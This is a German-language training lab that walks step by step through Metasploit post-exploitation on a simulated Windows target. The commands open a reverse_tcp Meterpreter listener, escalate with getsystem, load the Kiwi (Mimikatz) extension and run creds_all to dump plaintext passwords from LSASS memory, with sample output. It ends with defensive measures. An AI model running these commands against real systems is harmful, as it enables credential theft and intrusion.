Klartext-Passwörter mit Kiwi in Meterpreter extrahieren

Kali LinuxBeginner
Jetzt üben

Einleitung

In der Post-Exploitation-Phase eines Penetrationstests ist eines der Hauptziele das Sammeln von Anmeldeinformationen, um sich lateral im Netzwerk zu bewegen. Metasploits Meterpreter ist eine leistungsstarke Payload, die eine interaktive Shell auf einem kompromittierten System bereitstellt.

Eine der mächtigsten Funktionen von Meterpreter ist die Kiwi-Erweiterung, die ein Port des berühmten Mimikatz-Tools ist. Kiwi ermöglicht es Angreifern, Klartext-Passwörter, Hashes, PINs und Kerberos-Tickets direkt aus dem Speicher des Zielrechners zu extrahieren, insbesondere aus dem Prozess des Local Security Authority Subsystem Service (LSASS).

In diesem Lab lernen Sie, wie Sie die Kiwi-Erweiterung innerhalb einer Meterpreter-Sitzung laden und verwenden, um Anmeldeinformationen von einem simulierten Windows-Ziel zu dumpen.

Erlangung einer Meterpreter-Sitzung mit SYSTEM-Privilegien auf einem Windows-Ziel

In diesem Schritt simulieren wir den Zugriff auf eine Zielmaschine. In einem realen Szenario würden Sie einen Exploit verwenden, um eine Payload bereitzustellen. Hier richten wir einen Listener mit der Metasploit Framework Console ein. Ein simuliertes Ziel wird sich dann mit unserem Listener verbinden und uns eine Meterpreter-Sitzung bereitstellen.

Starten Sie zuerst die Metasploit-Konsole. Das Flag -q sorgt dafür, dass sie leise startet, ohne das Banner anzuzeigen.

msfconsole -q

Als Nächstes konfigurieren wir einen Listener, um die eingehende Verbindung vom simulierten Ziel "abzufangen". Hierfür verwenden wir das Modul multi/handler.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Führen Sie nun den Listener als Hintergrundjob mit exploit -j aus.

exploit -j

Nach einigen Momenten wird eine Sitzung erstellt. Sie können aktive Sitzungen mit dem Befehl sessions auflisten.

sessions

Sie sollten eine Ausgabe sehen, die eine aktive Sitzung anzeigt, ähnlich dieser:

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  WIN-TARGET\LabUser @ WIN-TARGET  127.0.0.1:4444 -> 127.0.0.1:54321 (...)

Interagieren Sie nun mit Sitzung 1.

sessions -i 1

Ihr Prompt ändert sich zu meterpreter >. Um Kiwi effektiv nutzen zu können, benötigen wir die höchsten Privilegien, NT AUTHORITY\SYSTEM. Wir können versuchen, unsere Privilegien mit dem Befehl getsystem zu eskalieren.

getsystem

Sie sollten eine Meldung wie ...got system sehen. Überprüfen Sie Ihre neue Identität, indem Sie getuid ausführen.

getuid

Die erwartete Ausgabe sollte lauten:

Server username: NT AUTHORITY\SYSTEM

Sie verfügen nun über eine Meterpreter-Sitzung mit SYSTEM-Privilegien, bereit für die nächsten Schritte.

Laden der Kiwi-Erweiterung mit dem Befehl load kiwi

In diesem Schritt laden Sie die Kiwi-Erweiterung in Ihre Meterpreter-Sitzung. Meterpreter ist modular, und seine Erweiterungen bieten zusätzliche Funktionalität, die standardmäßig nicht geladen wird, um die anfängliche Payload klein zu halten. Die Kiwi-Erweiterung enthält alle Befehle, die zum Ausführen von Mimikatz-ähnlichem Credential Dumping benötigt werden.

Verwenden Sie von Ihrem meterpreter > Prompt aus den Befehl load, um die Kiwi-Erweiterung hinzuzufügen.

load kiwi

Wenn der Befehl erfolgreich ist, bestätigt Meterpreter, dass die Erweiterung geladen wurde.

Loading extension kiwi...Success.

Mit der geladenen Kiwi-Erweiterung haben Sie nun Zugriff auf eine neue Reihe leistungsstarker Befehle zur Erfassung von Anmeldeinformationen.

Auflisten verfügbarer Kiwi-Befehle mit help

In diesem Schritt überprüfen Sie, ob die Kiwi-Befehle verfügbar sind. Nach dem Laden einer beliebigen Erweiterung in Meterpreter können Sie den Befehl help verwenden, um eine aktualisierte Liste aller verfügbaren Befehle anzuzeigen. Dies ist eine gute Vorgehensweise, um zu bestätigen, dass die Erweiterung korrekt geladen wurde und um zu sehen, welche neuen Funktionen Ihnen zur Verfügung stehen.

Geben Sie vom meterpreter > Prompt aus einfach help ein.

help

Die Ausgabe ist eine lange Liste aller Meterpreter-Befehle, gruppiert nach Abschnitten. Scrollen Sie durch die Ausgabe, und Sie sollten einen neuen Abschnitt namens "Kiwi Commands" finden. Dieser Abschnitt listet alle Funktionen auf, die von der Kiwi-Erweiterung bereitgestellt werden.

...
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_msv              Retrieve MSV credentials (parsed)
    creds_ssp              Retrieve SSP credentials (parsed)
    creds_tspkg            Retrieve TSPKG credentials (parsed)
    creds_wdigest          Retrieve WDigest credentials (parsed)
    dcsync                 Retrieve user account information via DCSync
    dcsync_ntlm            Retrieve user NTLM hash via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute a custom command
    lsa_dump_sam           Dump LSA SAM
    lsa_dump_secrets       Dump LSA secrets
    wifi_list              List wifi profiles/creds
    wifi_list_shared       List shared wifi profiles/creds
...

Wie Sie sehen können, fügt Kiwi viele leistungsstarke Befehle für die Interaktion mit Windows-Authentifizierungsmechanismen hinzu.

Alle verfügbaren Anmeldeinformationen mit dem Befehl creds_all auslesen

In diesem Schritt führen Sie den Hauptbefehl der Kiwi-Erweiterung aus, um alle im Speicher gefundenen Anmeldeinformationen auszulesen. Der Befehl creds_all ist ein praktischer Wrapper, der mehrere verschiedene Module zur Erfassung von Anmeldeinformationen gleichzeitig ausführt und verschiedene Authentifizierungspakete wie WDigest, Kerberos und MSV anvisiert.

Denken Sie daran, dass dieser Befehl SYSTEM-Privilegien benötigt, um auf den Speicher des LSASS-Prozesses zuzugreifen. Deshalb haben wir im ersten Schritt den Befehl getsystem ausgeführt.

Führen Sie von Ihrem meterpreter > Prompt aus den Befehl creds_all aus.

creds_all

Der Befehl benötigt einen Moment, um ausgeführt zu werden, da er den LSASS-Prozess inspiziert. Die Ausgabe wird detailliert sein und Anmeldeinformationen für verschiedene Anbieter anzeigen. Unten sehen Sie ein Beispiel dafür, was Sie möglicherweise sehen.

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    NTLM      WIN-TARGET  LabUser     (null)
0;99876     NTLM      WIN-TARGET  WIN-TARGET$ (null)

wdigest credentials
===================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    WDigest   WIN-TARGET  LabUser     P@ssword123!
0;99876     WDigest   WIN-TARGET  WIN-TARGET$ (null)

kerberos credentials
====================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
0;99876     Kerberos  WIN-TARGET  WIN-TARGET$ (null)
...

Sie haben erfolgreich Anmeldeinformationen aus dem Speicher des Zielsystems ausgelesen. Der nächste Schritt ist die Analyse dieser Ausgabe.

Analyse der Ausgabe auf Klartext-Passwörter

In diesem letzten Schritt analysieren Sie die Ausgabe des Befehls creds_all, um Klartext-Passwörter zu identifizieren. Die Fähigkeit, Klartext-Anmeldeinformationen zu finden, macht Tools wie Kiwi und Mimikatz für die laterale Bewegung so leistungsfähig.

Sehen Sie sich die Ausgabe an, die Sie im vorherigen Schritt erhalten haben. Die Daten sind nach Authentifizierungspaket organisiert:

  • msv: Dieses Paket verarbeitet die Standard-NTLM-Authentifizierung. Es liefert typischerweise Passwort-Hashes, keine Klartext-Passwörter, es sei denn, der Benutzer hat sich kürzlich interaktiv angemeldet.
  • wdigest: Auf älteren Windows-Systemen oder Systemen, auf denen es explizit aktiviert ist, speichert WDigest eine reversibel verschlüsselte Kopie des Benutzerpassworts im Speicher. Kiwi kann dies leicht entschlüsseln und das Klartext-Passwort preisgeben. Dies ist oft der wertvollste Abschnitt.
  • kerberos: Dieses Paket verwaltet Kerberos-Tickets. Ähnlich wie WDigest kann es auch Klartext-Passwörter für angemeldete Benutzer zwischenspeichern.
  • ssp und tspkg: Diese Pakete verarbeiten Anmeldeinformationen für andere Dienste, wie z. B. Remote-Desktop-Verbindungen.

In der Beispielausgabe aus dem vorherigen Schritt sehen Sie deutlich ein Klartext-Passwort für den Benutzer LabUser sowohl im wdigest- als auch im kerberos-Abschnitt:

wdigest credentials
===================
...
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
...

kerberos credentials
====================
...
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
...

Durch sorgfältige Untersuchung der Ausgabe und Suche nach Werten, die nicht (null) sind, in der Spalte Password können Sie wertvolle Anmeldeinformationen sammeln. Diese Informationen könnten dann verwendet werden, um sich als dieser Benutzer Zugriff auf andere Systeme oder Dienste zu verschaffen.

Zusammenfassung

In diesem Lab haben Sie eine klassische Post-Exploitation-Technik erfolgreich durchgeführt. Sie begannen damit, eine Meterpreter-Sitzung mit SYSTEM-Privilegien auf einem simulierten Windows-Ziel zu erlangen. Anschließend haben Sie die Kiwi-Erweiterung geladen, die die Funktionalität von Mimikatz in Meterpreter integriert.

Mit dem Befehl creds_all haben Sie Anmeldeinformationen direkt aus dem Speicher des LSASS-Prozesses ausgelesen. Abschließend haben Sie die Ausgabe analysiert, um ein Klartext-Passwort für einen angemeldeten Benutzer zu extrahieren.

Diese Übung unterstreicht die Bedeutung von Security Hardening an Endpunkten. Abwehrmaßnahmen gegen diese Art von Angriff umfassen:

  • Deaktivieren der WDigest-Authentifizierung.
  • Aktivieren des LSA-Schutzes (RunAsPPL).
  • Implementieren des Prinzips der geringsten Rechte (least privilege), um sicherzustellen, dass Benutzer und Prozesse keine unnötigen administrativen Rechte haben.

Sie haben nun ein praktisches Verständnis dafür, wie Angreifer In-Memory-Credential-Dumping nutzen können, um ein Netzwerk weiter zu kompromittieren.